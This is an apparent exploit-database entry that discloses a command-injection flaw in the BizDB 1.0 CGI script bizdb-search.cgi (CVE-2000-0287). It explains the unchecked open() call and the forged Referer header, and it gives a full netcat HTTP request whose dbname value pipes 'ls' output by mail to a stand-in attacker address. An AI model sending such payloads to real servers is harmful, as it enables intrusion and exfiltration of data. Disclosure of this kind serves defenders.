CNC Technology BizDB 1.0 - 'bizdb-search.cgi' Remote Command Execution

Author: PErfecto Technology
type: remote
platform: cgi
port: 
date_added: 2000-04-13 
date_updated: 2012-07-15 
verified: 1 
codes: CVE-2000-0287;OSVDB-291 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/1104/info

BizDB is a web databse integration product using perl CGI scripts. One of the scripts, bizdb-search.cgi, passes a variable's contents to an unchecked open() call and can therefore be made to execute commands at the privilege level of the webserver.

The variable is dbname, and if passed a semicolon followed by shell commands they will be executed. This cannot be exploited from a browser, as the software checks for a referrer field in the HTTP request. A valid referrer field can however be created and sent programmatically or via a network utility like netcat.


The following netcat session will cause a copy of the output of the ls command to be mailed to attacker@attacker-host

netcat target 80
GET
/cgi-bin/bizdb1-search.cgi?template=bizdb-summary&dbname=;ls|mail%20attacker@attacker-host|&f6=^a.*&action=searchdbdisplay
HTTP/1.0
Host: target
Referer: http://target/cgi-bin/bizdb1-search.cgi?bizdb-search
(empty line)
(End of Input)